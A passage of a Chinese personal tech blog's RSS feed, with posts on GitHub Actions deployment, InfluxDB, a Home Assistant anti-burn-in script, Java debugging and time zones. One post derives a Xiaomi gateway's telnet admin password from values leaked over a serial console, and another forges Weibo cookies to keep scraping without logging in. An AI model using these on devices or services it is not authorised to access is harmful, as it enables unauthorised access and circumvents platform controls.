&lt;p&gt;主要就是使用线程启动exe，然后退出时记得杀死线程，由于SpringBoot启动需要一定时间可以在程序中做提示，启动后使用reqrests调用Java的exe的接口即可&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Thu, 25 Apr 2024 01:42:19 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/131.html</comments>
    </item>
    <item>
      <title>用Github Actions做CICI流程分享</title>
      <link>https://www.baby7blog.com/myBlog/130.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1712641209666723290" width="800"&gt;&lt;br&gt;
&lt;h1&gt;用Github Actions做CICI流程分享&lt;/h1&gt;

&lt;h3&gt;1. 前言&lt;/h3&gt;
&lt;p&gt;之前用Github做了CICD，流程和代码放在一块，方便管理，可以构建、打包、推送镜像到Dockerhub、连接服务器做部署，这两天在阿里云仓库做了镜像，然后用Github Actions推送到阿里云仓库&lt;/p&gt;
&lt;p&gt;阿里云仓库: &lt;a href="https://cr.console.aliyun.com/cn-hangzhou/instance/repositories"&gt;https://cr.console.aliyun.com/cn-hangzhou/instance/repositories&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;2. 位置&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1712641355043881192" alt="image.png" /&gt;&lt;/p&gt;
&lt;h3&gt;3. Java 流程&lt;/h3&gt;
&lt;p&gt;其中的${{ secrets.XXXXX }}可以在github项目-&amp;gt;【Settings】-&amp;gt;【Security】-&amp;gt;【Secrets and variables】-&amp;gt;【Actions】处设置，就是个密钥&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;name: Java CI with Gradle

# 选择分支
on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    
    # 把仓库代码拉到 ubuntu 镜像上
    - uses: actions/checkout@v2

    # 指定 java 版本
    - name: Set up JDK 1.8
      uses: actions/setup-java@v1
      with:
          java-version: 1.8

    # 给 gradle 赋予可运行权限
    - name: Grant execute permission for gradlew
      run: chmod +x gradlew

    # 通过 gradle 打包我们的项目
    - name: Build with gradle
      run: ./gradlew build

    # 通过 Dockerfile 构建镜像
    - name: Build Docker Image
      run: docker build . --file Dockerfile --tag ${{ secrets.IMAGE_NAME }}:$(date +%s)

    # 推送镜像到 Docker Hub
    - name: Publish to Docker Repository
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: ${{ secrets.IMAGE_NAME }}:latest
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

    # 推送镜像到阿里云仓库
    - name: Publish to Aliyun Docker Repository
      run: |
        docker login --username=${{ secrets.ALIYUN_DOCKER_USERNAME }} --password=${{ secrets.ALIYUN_DOCKER_PASSWORD }} registry.cn-hangzhou.aliyuncs.com
        docker build -t ${{ secrets.IMAGE_NAME }} . 
        docker tag ${{ secrets.IMAGE_NAME }} ${{ secrets.ALIYUN_IMAGE_URL }}:latest
        docker push ${{ secrets.ALIYUN_IMAGE_URL }}:latest

  # 连接到服务器部署
  pull-docker:
    needs: [build]
    name: Pull Docker
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          password: ${{ secrets.SERVER_PWD }}
          port: ${{ secrets.SERVER_PORT }}
          script: |
            docker pull ${{ secrets.ALIYUN_IMAGE_URL }}
            docker-compose up -d --build
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Javascript流程&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;name: Node.js CI

# 选择分支
on:
  push:
    branches: [ master ]
  pull_request:
    branches: [ master ]

jobs:
  build:

    runs-on: ubuntu-latest

    strategy:
      matrix:
        node-version: [12.x]
    steps:
    - uses: actions/checkout@v2
    - name: Use Node.js ${{ matrix.node-version }}
      uses: actions/setup-node@v2
      with:
        node-version: ${{ matrix.node-version }}
        cache: 'npm'
    - run: npm ci
    - run: npm run build --if-present
    - run: npm test
    - run: ls

    # 通过 Dockerfile 构建镜像
    - name: Build Docker Image
      run: docker build . --file Dockerfile --tag ${{ secrets.IMAGE_NAME }}:$(date +%s)

      # 推送镜像到 Docker Hub
    - name: Publish to Docker Repository
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: ${{ secrets.IMAGE_NAME }}:latest
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

      # 推送镜像到阿里云仓库
    - name: Publish to Aliyun Docker Repository
      run: |
        docker login --username=${{ secrets.ALIYUN_DOCKER_USERNAME }} --password=${{ secrets.ALIYUN_DOCKER_PASSWORD }} registry.cn-hangzhou.aliyuncs.com
        docker build -t ${{ secrets.IMAGE_NAME }} . 
        docker tag ${{ secrets.IMAGE_NAME }} ${{ secrets.ALIYUN_IMAGE_URL }}:latest
        docker push ${{ secrets.ALIYUN_IMAGE_URL }}:latest

  # 连接到服务器部署
  pull-docker:
    needs: [build]
    name: Pull Docker
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          password: ${{ secrets.SERVER_PWD }}
          port: ${{ secrets.SERVER_PORT }}
          script: |
            docker pull ${{ secrets.ALIYUN_IMAGE_URL }}
            docker-compose up -d --build

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 09 Apr 2024 05:48:44 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/130.html</comments>
    </item>
    <item>
      <title>influxdb有时存不进去</title>
      <link>https://www.baby7blog.com/myBlog/129.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1700555612496539586" width="800"&gt;&lt;br&gt;
&lt;h1&gt;influxdb有时存不进去&lt;/h1&gt;

&lt;p&gt;保存数据没有返回错误，但是有时候存不进去&lt;/p&gt;
&lt;p&gt;查询网关日志发现&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-log"&gt;2023/11/21 16:01:42.280865 http.go:248: write status code: 400, from: http://172.17.31.13:8086
2023/11/21 16:01:42.281013 http.go:255: error response: {&amp;quot;error&amp;quot;:&amp;quot;partial write: max-series-per-database limit exceeded: (1000000) dropped=5&amp;quot;}
2023/11/21 16:01:42.281098 backend.go:180: bad request, drop all data
2023/11/21 16:01:55.266353 http.go:248: write status code: 400, from: http://172.17.31.13:8086
2023/11/21 16:01:55.266409 http.go:255: error response: {&amp;quot;error&amp;quot;:&amp;quot;partial write: max-series-per-database limit exceeded: (1000000) dropped=5&amp;quot;}
2023/11/21 16:01:55.266426 backend.go:180: bad request, drop all data
2023/11/21 16:06:13.590838 http.go:248: write status code: 400, from: http://172.17.31.13:8086
2023/11/21 16:06:13.590916 http.go:255: error response: {&amp;quot;error&amp;quot;:&amp;quot;partial write: max-series-per-database limit exceeded: (1000000) dropped=5&amp;quot;}
2023/11/21 16:06:13.590980 backend.go:180: bad request, drop all data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键字&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;max-series-per-database&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个参数表示数据库的时间序列线最大值，超过不会继续写入，默认一百万个，如果设置为0表示无限制&lt;/p&gt;
&lt;p&gt;最后发现两台infuxdb的这两个参数设置的不一样(一个十亿个，还有一个是默认一百万个)&lt;/p&gt;
&lt;p&gt;导致有时候能写入有时候不能写入&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 21 Nov 2023 08:33:59 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/129.html</comments>
    </item>
    <item>
      <title>奇奇怪怪的防烧屏算法</title>
      <link>https://www.baby7blog.com/myBlog/128.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1700113839037427045" width="800"&gt;&lt;br&gt;
&lt;h1&gt;奇奇怪怪的防烧屏算法&lt;/h1&gt;

&lt;p&gt;适用于HomeAssistant&lt;/p&gt;
&lt;p&gt;只是突然看到iphone15的防烧屏算法出了bug导致出现的烧屏突然想到的&lt;/p&gt;
&lt;p&gt;HA界面经常作为中控使用，在oled屏上应该会比较容易出现烧屏&lt;/p&gt;
&lt;p&gt;防烧屏算法各大电视和手机厂商做的比较多，我看比较常见的是通过进行像素平移、覆盖、旋转等，防止一个像素点长时间在一个亮度下&lt;/p&gt;
&lt;p&gt;我这里做的是很简陋的算法，就是对整体图像进行一个2px的正方形循环（每30秒进行一次平移），在我想来应该对于文字和纹理比较细的图标比较有用&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1700113839037427045" alt="https://media.baby7blog.com/1700113839037427045" /&gt;&lt;/p&gt;
&lt;p&gt;这里只算抛砖引玉，希望有更好的算法&lt;/p&gt;
&lt;p&gt;关于使用：&lt;/p&gt;
&lt;p&gt;在设置-&amp;gt;仪表盘-&amp;gt;添加仪表盘，选择js资源直接引入我放到云上的js：https://cdn.baby7blog.com/homeassistant/anti-burning-screen.js&lt;/p&gt;
&lt;p&gt;如果担心安全问题或担心云上资源失效可以直接复制然后在本地新建js文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;var screenIndex = 0;
setInterval(function(){
    if (screenIndex == 0) {
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;div &amp;gt; div.header&amp;quot;).style=&amp;quot;margin-top:0px;margin-left:-2px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;#view&amp;quot;).style=&amp;quot;margin-top:0px;margin-left:-2px;padding-right:2px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; ha-sidebar&amp;quot;).style=&amp;quot;margin-top:0px;margin-left:-2px;&amp;quot;;
        screenIndex = screenIndex + 1;
    }
    else if (screenIndex == 1) {
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;div &amp;gt; div.header&amp;quot;).style=&amp;quot;margin-top:-2px;margin-left:-2px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;#view&amp;quot;).style=&amp;quot;margin-top:-2px;margin-left:-2px;padding-right:2px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; ha-sidebar&amp;quot;).style=&amp;quot;margin-top:-2px;margin-left:-2px;&amp;quot;;
        screenIndex = screenIndex + 1;
    }
    else if (screenIndex == 2) {
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;div &amp;gt; div.header&amp;quot;).style=&amp;quot;margin-top:-2px;margin-left:0px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;#view&amp;quot;).style=&amp;quot;margin-top:-2px;margin-left:0px;padding-right:0px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; ha-sidebar&amp;quot;).style=&amp;quot;margin-top:-2px;margin-left:0px;&amp;quot;;
        screenIndex = screenIndex + 1;
    }
    else {
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;div &amp;gt; div.header&amp;quot;).style=&amp;quot;margin-top:0px;margin-left:0px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; partial-panel-resolver &amp;gt; ha-panel-lovelace&amp;quot;).shadowRoot.querySelector(&amp;quot;hui-root&amp;quot;).shadowRoot.querySelector(&amp;quot;#view&amp;quot;).style=&amp;quot;margin-top:0px;margin-left:0px;padding-right:0px;&amp;quot;;
        document.querySelector(&amp;quot;body &amp;gt; home-assistant&amp;quot;).shadowRoot.querySelector(&amp;quot;home-assistant-main&amp;quot;).shadowRoot.querySelector(&amp;quot;ha-drawer &amp;gt; ha-sidebar&amp;quot;).style=&amp;quot;margin-top:0px;margin-left:0px;&amp;quot;;
        screenIndex = 0;
    }
},30000);
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>智能家居</category>
      <pubDate>Thu, 16 Nov 2023 05:51:46 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/128.html</comments>
    </item>
    <item>
      <title>我的博客架构改变历程</title>
      <link>https://www.baby7blog.com/myBlog/127.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1699932721880682100" width="800"&gt;&lt;br&gt;
&lt;h1&gt;我的博客架构改变历程&lt;/h1&gt;


&lt;h3&gt;SSM后端&lt;/h3&gt;

&lt;p&gt;代码已遗失，我记得前端为JSP，再往前的版本就找不到了&lt;/p&gt;
&lt;p&gt;那时候还用了百度UEditor做富文本编辑，这玩意是真难使。。当时好像已经停止维护了，还得改源码&lt;/p&gt;
&lt;p&gt;用了七牛云做CDN，当时只用来存js或者css的，这个真不错，现在还在用，空间大，CDN费用还低&lt;/p&gt;
&lt;p&gt;用了三个服务器，一个做网关，附带文件服务器，nginx做负载均衡，另外两个服务器部署了两个SSM&lt;/p&gt;
&lt;p&gt;还做了mysql主主备份，就是两个mysql互为主从备份&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190503/1556857224358060666.png" alt="七仔的博客SSM架构" /&gt;&lt;/p&gt;

&lt;h3&gt;SpringCloud微服务后端 + Vue博客前端 + Vue管理前端&lt;/h3&gt;

&lt;p&gt;基于PigX个人版，未开源&lt;/p&gt;
&lt;p&gt;后端以SpringCloud为基础，集合了Nacos + Gateway + Auth + Admin + 博客服务 + xxl-job 一共七个服务&lt;/p&gt;
&lt;p&gt;博客前端以Vue为基础，进行各个页面的开发，模块化的开发还是挺方便的&lt;/p&gt;
&lt;p&gt;博客管理端直接以PigX附带的Avue为框架开发，更简单&lt;/p&gt;
&lt;p&gt;UEditor的博客继续留着，后面写的都是Markdown格式的了，前端通过判断来进行渲染&lt;/p&gt;
&lt;p&gt;开始意识到SEO问题，通过Nginx进行header判断，发送到nodejs，nodejs调用python，python调用火狐进行渲染&lt;/p&gt;

&lt;h3&gt;SpringBoot后端 + Vue博客前端 + Vue管理前端&lt;/h3&gt;

&lt;p&gt;上面的结构再加上mysql和redis什么的需要将近4G的服务器才能起得来，并且因为PigX的协议不能开源，所以就想自己搞一个&lt;/p&gt;
&lt;p&gt;从SpringBoot直接单体开发，比微服务占用内存少了太多&lt;/p&gt;
&lt;p&gt;Vue管理前端以Element-UI重写，去掉了Avue的框架&lt;/p&gt;
&lt;p&gt;使用marked做编辑器（忘了是这版还是上版，待验证）&lt;/p&gt;
&lt;p&gt;Vue博客前端没什么大变化，不过重写了之前UEditor格式的博客改都为了Markdown&lt;/p&gt;
&lt;p&gt;全部改为Docker形式部署，mysql，redis，后端，博客前端，管理前端，puppeteer-renderer，通过docker-compose管理&lt;/p&gt;
&lt;p&gt;puppeteer-renderer替换了上个版本的nodejs+python+浏览器，不过本质还是通过浏览器进行渲染再返回，速度还是慢了&lt;/p&gt;

&lt;h3&gt;SpringBoot后端 + Thymeleaf博客前端 + Vue管理前端 （开发中）&lt;/h3&gt;

&lt;p&gt;由于上个架构的占用还是挺大，而且SEO还是麻烦，所以有个这个版本&lt;/p&gt;
&lt;p&gt;由于管理前端没必要做SEO，所有还是使用Vue为框架&lt;/p&gt;
&lt;p&gt;博客前端使用Thymeleaf重写，通过服务端渲染，这样就可以去掉puppeteer-renderer&lt;/p&gt;
&lt;p&gt;从mysql换为sqlite，一个是博客没必要这么庞大的数据库，二是省了部署的步骤，三是省内存&lt;/p&gt;
&lt;p&gt;redis同理，没必要做加速（待验证）&lt;/p&gt;
&lt;p&gt;将编辑器从marked换成了editor.md&lt;/p&gt;
&lt;p&gt;争取做到一个容器或者一个jar包就能跑起来&lt;/p&gt;
&lt;p&gt;增加MetaWeblog的支持&lt;/p&gt;
&lt;p&gt;增加RSS订阅的支持&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 14 Nov 2023 03:32:03 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/127.html</comments>
    </item>
    <item>
      <title>排查线上java程序cpu占用过高</title>
      <link>https://www.baby7blog.com/myBlog/126.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1699932476363617290" width="800"&gt;&lt;br&gt;
&lt;h1&gt;排查线上java程序cpu占用过高&lt;/h1&gt;

&lt;h1&gt;原因&lt;/h1&gt;
&lt;p&gt;线上服务器占用CPU过高&lt;/p&gt;
&lt;h1&gt;过程&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;通过top命令查询进程列表，第一个是cpu占用最高的，是一个定时任务的微服务（进入后c可以查询进程详细信息），记住pid&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;    top
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="2"&gt;
&lt;li&gt;通过上一步的pid，查看该进程中的线程列表&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;   top -Hp 31273
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;（这里的31273换成你上一步查询的pid）

然后我这里看到有一个线程异常的高，记住其pid，然后转换成16进制（可以用win自带计算器转换）
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="3"&gt;
&lt;li&gt;通过jstack命令查询该线程的堆栈信息&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;   jstack 31273 |grep 84b -A 30
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(这里的31273还是换成第一步的进程pid，84b换成第二步的线程的pid的16进制，然后-A后面的30代表查询堆栈信息30行)

到这里就很明了了，我这里是因为重算导致的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1699932416506630544" alt="87a18fc73bd53cd7ef6462413e1d94f6.png" /&gt;&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;（错误的）我想单单杀掉这个线程，还用了-9，但是进程也直接死掉了。。。&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 14 Nov 2023 03:28:31 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/126.html</comments>
    </item>
    <item>
      <title>关于时区中的夏令时（java）</title>
      <link>https://www.baby7blog.com/myBlog/124.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1699930621582679740" width="800"&gt;&lt;br&gt;
&lt;h1&gt;关于时区中的夏令时（java）&lt;/h1&gt;

&lt;h3&gt;时区标识，这里使用柏林时区为例：&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-yaml"&gt;Europe/Berlin
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;相关代码&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;    public static void main(String[] args) {
        // 零时区时间（协调世界时）
        String noTimeZoneDateTime = &amp;quot;2024-03-31 00:00:00&amp;quot;;
        // 转时间戳
        Long rtime = DateTimeUtils.getTimestamp(noTimeZoneDateTime, &amp;quot;GMT&amp;quot;);
        System.out.println(rtime);
        // 柏林时区
        String timeZone = &amp;quot;Europe/Berlin&amp;quot;;
        // 时区转换
        String format = DateTimeUtils.getDateString(rtime, timeZone);
        System.out.println(format);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;结果1&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-log"&gt;当零时区时间为2024-03-31 00:59:00时
输出：2024-03-31 01:59:00
表示为柏林时区标准时间-UTC+1

当零时区时间为2024-03-31 01:00:00时
输出：2024-03-31 03:00:00
表示为柏林时区夏令时-UTC+2

柏林时区从标准时间到夏令时直接跳了1个小时
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;结果2&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-log"&gt;当零时区时间为2023-10-29 00:59:00时
输出：2023-10-29 02:59:00
表示为柏林时区夏令时-UTC+2

当零时区时间为2023-10-29 01:00:00时
输出：2023-10-29 02:00:00
表示为柏林时区标准时间-UTC+1

柏林时区从夏令时到标准时间出现时间重叠
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;缘由&lt;/h3&gt;
&lt;p&gt;关于起因和结果是引用的这个文章：&lt;a href="https://zhuanlan.zhihu.com/p/664643994"&gt;https://zhuanlan.zhihu.com/p/664643994&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1️⃣ 为什么会出现冬令时和夏令时？&lt;/strong&gt;
最初是由1973年的石油危机引发，当时的人们希望能够节约能源，更好地利用日光。德国自&lt;strong&gt;1980年起&lt;/strong&gt;就开始实行时间变更。
&lt;strong&gt;6️⃣ 冬夏令时真的能节省能源吗？&lt;/strong&gt;
其实几年前欧洲就在讨论要取消冬夏令时了，因为事实证明这个方法其实&lt;strong&gt;并没有节省什么能源&lt;/strong&gt;，反而还会造成各种麻烦。
德国联邦议院研究委员会在2016年的一份报告中表示，德国每年夏季仅节省了&lt;strong&gt;约0.2%的电力&lt;/strong&gt;。联邦环境局认为，由于节能灯的普及，这些节省量近年来有所减少。
&lt;strong&gt;8️⃣ 冬夏令时会废除吗？&lt;/strong&gt;
2018年7月4日至8月16日欧盟成员国约460万人参加了欧盟举行的网上问卷调查，高达84%的民众希望取消冬/夏令时的转换，而且大多数人都赞成持续使用夏令时。当年10月欧盟宣布顺应民意不再折腾，从2019年开始取消冬/夏令时的作息交替。当时多数成员国支持这一提议，但希望能有两年的缓冲时间来执行。
但是，未来是使用正常的中欧时间（CET）或中欧夏令时间（CEST）作为废除后的标准时间还没决定，因此这个计划一拖再拖拖到了现在。&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 14 Nov 2023 02:57:04 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/124.html</comments>
    </item>
    <item>
      <title>未接入小米网关3的155版本多模网关刷机简化步骤</title>
      <link>https://www.baby7blog.com/myBlog/123.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1699112939004485632" width="800"&gt;&lt;br&gt;
&lt;h1&gt;未接入小米网关3的155版本多模网关刷机简化步骤&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;首先申明：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本发现仅对于现版本&amp;gt;=1.5.5且之前没有接入XiaomiGateway3的多模网关有用处&lt;/p&gt;
&lt;p&gt;这个情况下只能拆机刷回旧版本，固件需要使用uart格式的，这个格式的固件只有1.4.7之前的，只能刷到这个版本然后再通过telnet刷到低于1.5.4的，关于拆机刷机教程可以参考&lt;a href="https://bbs.hassbian.com/thread-11666-1-1.html"&gt;小米多模网关降级接入homeassistant&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我这个发现也还是得拆机，暂时只是能少点步骤而已&lt;/p&gt;
&lt;p&gt;我是拆机后通过串口连接usb，前面还算顺利，但是当选择rtkboot_xxxxxx.bin后就会出问题，都进行不到下一步去刷固件，当然这个关于这个奇怪的问题可能只是我的个人情况&lt;/p&gt;
&lt;p&gt;不过我发现了&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1699112958256664089" alt="mmexport1699111335170.png" /&gt;&lt;/p&gt;
&lt;p&gt;在这一步中，输出的信息中出现了密码，通过一个函数可以将它转换成telnet的登陆密码，省去了刷到1.4.7这个步骤&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1699112970709905673" alt="capture_20231104232524737_edit_484666726388022.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;通过这里的did、key、mac然后通过公式 base64(hmac_sha256(key, sha256(did+mac+key))) 就可以转换出登陆密码：&lt;/p&gt;
&lt;p&gt;函数是我在XiaomiGateway3中找到的，抽取出来：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import base64
import hashlib
import hmac

def miio_password(did: str, mac: str, key: str) -&amp;gt; str:
    secret = hashlib.sha256(f&amp;quot;{did}{mac}{key}&amp;quot;.encode()).hexdigest()
    dig = hmac.new(secret.encode(), msg=key.encode(), digestmod=hashlib.sha256).digest()
    return base64.b64encode(dig)[-16:].decode()

did=&amp;quot;463977xxx&amp;quot;
mac=&amp;quot;54:xx:44:3B:BD:2C&amp;quot;
key=&amp;quot;UnOc0i6xxxxK8fraG&amp;quot;
print(miio_password(did, mac, key))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以5222222打开多模网关的telnet，然后用户名为admin，密码是上面计算出来的，成功登陆&lt;/p&gt;
&lt;p&gt;至于后面的刷机可以参考&lt;a href="https://bbs.hassbian.com/thread-21915-1-1.html"&gt;小米多模网关固件1.5.5降级接入HA小白级&lt;/a&gt;&lt;/p&gt;</description>
      <category>智能家居</category>
      <pubDate>Sat, 04 Nov 2023 15:50:17 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/123.html</comments>
    </item>
    <item>
      <title>关于未登录状态下保持微博的cookies不失效</title>
      <link>https://www.baby7blog.com/myBlog/122.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1678166683180653125" width="800"&gt;&lt;br&gt;
&lt;h1&gt;关于未登录状态下保持微博的cookies不失效&lt;/h1&gt;

&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;我这里只需要定时获取微博热搜信息，不需要登录状态即可获取到，但是不登录cookies也会失效，所以对cookies做了简单处理，记录一下&lt;/p&gt;
&lt;h1&gt;修改部分&lt;/h1&gt;
&lt;p&gt;从浏览器拿到cookies以后，里面的SUB、SUBP、_s_tentry应该是由机器或者浏览器的部分数据生产的，我试了几次没有改变，不用管，然后sina_global、apache、ulv三个参数是由随机数和当前时间戳和旧时间戳组成的，具体看我下面的代码&lt;/p&gt;
&lt;h1&gt;代码&lt;/h1&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import time
import random


# 当前时间戳
now_timestamp = int(time.time() * 1000)
sina_global = str(int(random.random() * 10000000000000)) + &amp;quot;.&amp;quot; + str(int(random.random() * 10000)) \
              + &amp;quot;.&amp;quot; + str(now_timestamp - 14 - 1072340 - 6)
apache = str(int(random.random() * 10000000000000)) + &amp;quot;.&amp;quot; + str(int(random.random() * 10000)) \
         + &amp;quot;.&amp;quot; + str(now_timestamp - 14)
ulv = str(now_timestamp) + &amp;quot;:2:2:2:&amp;quot; \
      + str(int(random.random() * 10000000000000)) + &amp;quot;.&amp;quot; + str(int(random.random() * 10000)) \
      + &amp;quot;.&amp;quot; + str(now_timestamp - 14) \
      + &amp;quot;:&amp;quot; + str(now_timestamp - 14 - 1072340)
cookie_result = 'SUB=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; ' + \
                'SUBP=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; ' + \
